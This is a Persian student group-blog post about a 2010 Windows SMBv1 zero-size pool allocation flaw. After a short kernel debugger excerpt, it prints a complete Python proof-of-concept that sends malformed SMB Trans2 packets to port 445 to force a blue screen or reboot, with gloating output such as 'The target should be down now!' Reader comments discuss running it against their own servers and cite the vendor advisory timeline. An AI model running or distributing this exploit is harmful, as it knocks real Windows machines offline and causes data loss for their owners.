KNToosi.in - همکلاســــی

وبلاگ گروهی دانشجویان ِ دانشگاه صنعتی خواجه نصیرالدین طوسی

KNToosi.in - همکلاســــی

وبلاگ گروهی دانشجویان ِ دانشگاه صنعتی خواجه نصیرالدین طوسی

ضعف امنیتی SMBv1 در اکثر Windowsها

چند وقت پیش بود که ضعف امنیتی خطرناکی در SMBv2 پیدا شده بود.


چند روزی هم میشه که یک باگ جدید دیگه در SMBv1 بیرون اومده که میشه باهاش هر سیستم Windowsی را reboot کرد (دارم روش کار می کنم که بتونم shell بگیرم ولی kernel exploitation بهمین سادگیا هم نیست...)

لطفا توجه داشته باشید که سیستم BSOD می کنه بعد reboot میشه ولی احتمال داره بدون BSOD  هم  reboot بشه! در هر حال قبل از تست کردن تمام فایل های بازتون رو save کنید.



اطلاعات بیشتر در ادامه

باگ در اینجا اتفاق میفته :

kd> nt!NtQueryVolumeInformationFile+0x3de:
82a5779c        ff7514              push dword ptr [ebp+14h]        ;User controlled
82a5779f         50                   push eax
82a577a0        e85d1fe6ff     call nt!ExAllocatePoolWithQuotaTag (828b9702)
82a577a5        eb23               jmp nt!NtQueryVolumeInformationFile+0x40c
kd>


وقتی مقدار EAX صفر باشه برنامه Crash می کنه ولی چون در سطح kernel (Ring0)
است پس KeDebug صدا زنده میشه و سپس BSOD میشه.
اسم باگ :
Microsoft SMB Server Zero Size Pool Allocation

Exploit:
#!/usr/bin/env python
## ATTENTION: This will cause BSOD or REBOOT, so be aware of Data lost ;)
## Usage: python smb-poc.py [IP] [Share-Name]
## e.g. python smb-poc.py 192.168.0.100 TestShare
##
## Test Case:
## mfox@0day:~/Desktop/Priv8$ python smb.py 192.168.0.100 TestShare
## [!]Attacking 192.168.0.100, He would better run away hahahah...
## [+]Negotiate Protocol Request sent
## [+]Session Query sent
## [+]Malformed Trans2 packet sent
## [+]The target should be down now! hahahahah
## mfox@0day:~/Desktop/Priv8$
##     ~~~~~~~~~~~~~~> Target got rebooted after moment ;) <~~~~~~~~~~~~~~~~
##

import sys,struct,socket
from socket import *

if len(sys.argv)<=2:
   print 'Usage: python '+sys.argv[0]+' [TARGET-IP] [SHARE-NAME] (No backslash)'
   sys.exit()

host = str(sys.argv[1]),445

packetnego =  "\x00\x00\x00\x9a"
packetnego += "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packetnego += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00\x01\x3d"
packetnego += "\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"
packetnego += "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52"
packetnego += "\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x33"
packetnego += "\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d\x31\x2e\x32\x58\x30\x30"
packetnego += "\x32\x00\x02\x44\x4f\x53\x20\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31"
packetnego += "\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f"
packetnego += "\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4e"
packetnego += "\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"

def tidpiduidfield(data):
    all_=data[28:34]
    return all_

def handle(data):
    ##Chained SMB commands; Session Setup AndX Request,Tree connect
    if data[8:10] == "\x72\x00":
       sharename = "\x00\x00\x5c\x5c\x5c"+str(sys.argv[2])+"\x00\x3f\x3f\x3f\x3f\x3f\x00"
       packetsession =  "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
       packetsession += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd5\x15\x01\x00\x81\x2f"
       packetsession += "\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18"
       packetsession += "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x01\x01\x01"
       packetsession += "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
       packetsession += "\x01\x01\x01\x01\x01\x59\x4f\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55"
       packetsession += "\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x57\x69"
       packetsession += "\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff\x00\x00\x00\x00"
       packetsession += "\x00\x01\x00"+struct.pack(">i", len(sharename))[3:4]+sharename
       print "[+]Session Query sent"   
       return struct.pack(">i", len(packetsession))+packetsession

    ##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info
    if data[8:10] == "\x73\x00":
       packetrans = "\x00\x00\x00\x46"
       packetrans += "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x01\xc8\x00\x00\x00\x00"
       packetrans += "\x00\x00\x00\x00\x00\x00\x00\x00"+tidpiduidfield(data)+"\x13\x00"
       packetrans += "\x0f\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
       packetrans += "\x00\x00\x00\x02\x00\x44\x00\x00\x00\x46\x00\x01\x00\x03\x00\x05"
       packetrans += "\x00\x00\x44\x20\x05\x01"
       print "[+]Malformed Trans2 packet sent\n[+]The target should be down now! hahahahah"
       return packetrans

def run():
    print '[!]Attacking '+sys.argv[1]+', He would better run away hahahah...'
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(host)
    s.settimeout(2)
    s.send(packetnego)
    print "[+]Negotiate Protocol Request sent"
    try:
      while True:
        data = s.recv(1024)
        s.send(handle(data))
    except Exception:
    print '[-]Oops!!! Something is wrong :P'
        pass
        s.close()
run()


نظرات 4 + ارسال نظر
حامد ؛ نرم افزار یکشنبه 24 مرداد 1389 ساعت 13:39

سلام
ممنون . امیدوارم که این کار رو ادامه بدی

عزیزانی که میخوان اجرا کنن باید کد رو آی دنت (دندانه) بدن :
وگر نه خطای کامپایل میده .
من این طوری دندانه دادم :

https://sites.google.com/site/hamedf14f21/fc/lin.png?attredirects=0

روی RHLE5.3 ترجمه (درست تر : تفسیر) شد

اونایی که اکس پی پک دو به بد دارن و اونایی که سون و ویستا دارن نگران نباشن
من هر سه رو تست کردم نمیتونه کرش رو انجام بده . فکر کنم این اکسپلویت مال زمان ناصر الدین شاهه !

۱. شما python رو کامپایل می کنید!؟
کاش حداقل یکم بخود exploit دقت می کردی که اینجوری سوتی ندی!
mfox@0day:~/Desktop/Priv8$ python smb.py 192.168.0.100
python رو فوقش بشه bytecode کرد!

۲. به این توجه کن :‌
Affected Platforms:Windows:
- 2000
- XP
- 2003
- Vista
- 2008
- Se7en
- 2008R2

احتمالا سیسمتون رو patch کردید بعد تست کردید lol

شاید هم اصلا چیزی Share نکردی و یا sharename رو اشتباه میزنی

۳. تاریخ گزارش باگ و exploit :
Response timeline
-----------------

* 11/02/2010 - Vendor notified
* 11/02/2010 - Vendor acknowledges the advisory
* 16/02/2010 - MSRC confirms issue on Windows 7.
* 26/02/2010 - MSRC provide a DC number and confirm the vulnerability across
Windows 2000 to Windows 7.
* 27/02/2010 - MSRC indicates vulnerability is to be categorised as post-auth
on all platforms and ask for confirmation. stratsec responds
with additional information.
* 11/03/2010 - MSRC confirms issue as a remote unauthenticated code execution
issue for pre-Windows Vista platforms and upgrades overall
bulletin severity to Critical
* 12/03/2010 - MSRC plan to release a patch in June 2010
* 30/04/2010 - MSRC push back the update to August 2010. stratsec agree on new
release date.
* 24/07/2010 - MSRC confirm the patch for August.
* 05/08/2010 - MSRC propose to give a vendor statement or review this advisory
* 05/08/2010 - stratsec request the CVE number and advisory link to MSRC, and
provide this advisory for review.
* 09/08/2010 - MSRC confirm the technical details of this advisory, and provide
the CVE and link details.
* 11/08/2010 - This advisory released.


اگر هم باز فکر می کنی درست فکر می کنی می تونی لینک زیر رو ببینی :
http://seclists.org/fulldisclosure/2010/Aug/122
و این :
http://www.microsoft.com/technet/security/Bulletin/MS10-054.mspx

موففففففففففففففففففففففق باشی

محمد رضا کمالی فرد یکشنبه 24 مرداد 1389 ساعت 14:29 http://hackerspace.ir

شعار ما :
stupid Windows :D

agreed !

حامد ؛ نرم افزار دوشنبه 25 مرداد 1389 ساعت 00:54

"۱. شما python رو کامپایل می کنید!؟
کاش حداقل یکم بخود exploit دقت می کردی که اینجوری (سوتی) ندی!"

عرض کردم تو پرانتز تفسیر (ولی خوب میخواستی بگی من بلدم پیتون مفسره ) . به هر حال ما زیاد از کام پیوتر چیزی حالیمون نیست . حالا حالا ها باید چیز از شما یاد بگیریم .

حالا خارج از شوخی
من روی هر دو سر ورمون یکی وین 2003 و یکی دیگه 2008 ، تست کردم و روی تمام ویندوز های اکس پی هم تست کردم هیچ اتفاقی نیفتاد .

من از لحاظ عملی کارکردی ندیدم هر چند که لینکی که قرار داده بودید جدید بود
جالب اینجاست که به روز رسانی برای ویندوز های شبکه داخلی ما غیر فعال است .


من روی Windows XP sp3 و Windows Se7en امتحان کردم و جواب داد.

شما باید یک folder یا فایلی چیزی را بروی اون windowsهای هدفت share کنی برای Everyone و یک sharename هم براش بزاری وگرنه exploit بهت میگه :
[-] Oops! Somethings wrong :P

حامد ؛ نرم افزار دوشنبه 25 مرداد 1389 ساعت 19:45

"شما باید یک folder یا فایلی چیزی را بروی اون windowsهای هدفت share کنی برای Everyone و یک sharename هم براش بزاری وگرنه exploit بهت "

سلام دوباره
بابا شیر که بلیدم که !
[+]Negotiate Protocol Request sent
[+]Session Query sent
این پیغام رو مبده و تموم هبچ اتفاقی نمبفته

موفق باشی

برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد